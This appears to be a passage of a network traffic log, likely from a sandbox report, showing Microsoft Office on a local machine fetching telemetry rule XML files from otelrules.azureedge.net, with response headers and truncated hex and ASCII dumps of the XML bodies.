2024-11-18 16:24:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162426Z-16547b76f7fbkfmzhC1DFWm9tw00000005sg0000000020dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:26 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:26 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 145694f3-701e-000d-397a-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162426Z-164f84587bf6n6jwhC1DFW90fn00000005c00000000002f6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:26 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:26 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 7a5959cf-b01e-0097-4ca5-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162426Z-1866b5c5fbb7km9phC1DFWr2sc00000004wg00000000a6y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:26 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:26 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162426Z-1866b5c5fbbb286shC1DFWx97800000002k0000000005w2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:26 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:26 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162426Z-16547b76f7fd4rc5hC1DFWkzhw00000006bg000000009sba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:26 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:27 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 68ea2c45-401e-002a-2712-37c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162427Z-164f84587bft9l9khC1DFW32rc000000062g000000007d80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:27 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49972	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:27 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162427Z-1866b5c5fbbkcpv2hC1DFWf1yc000000064g000000009twb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:27 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:27 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 11a3fe9c-301e-0096-08a4-37e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162427Z-164f84587bf7k72dhC1DFWvczs00000005y000000000qen2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:27 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49974	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:27 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: b8bdc226-001e-00ad-799a-38554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162427Z-1866b5c5fbbfrdddhC1DFW7e90000000022000000000eed2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:27 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:27 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: af695128-601e-00ab-6c8a-3866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162427Z-164f84587bfr8hdmhC1DFWt5nc00000004a000000000ahdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:27 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49976	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:28 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162428Z-16547b76f7ff9zf4hC1DFW2pfc00000003hg00000000s80p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:28 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49977	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:28 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7b0cde1b-901e-005b-3fc4-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162428Z-16547b76f7fkf5v9hC1DFW2y5s00000005ug00000000u96t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:28 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" 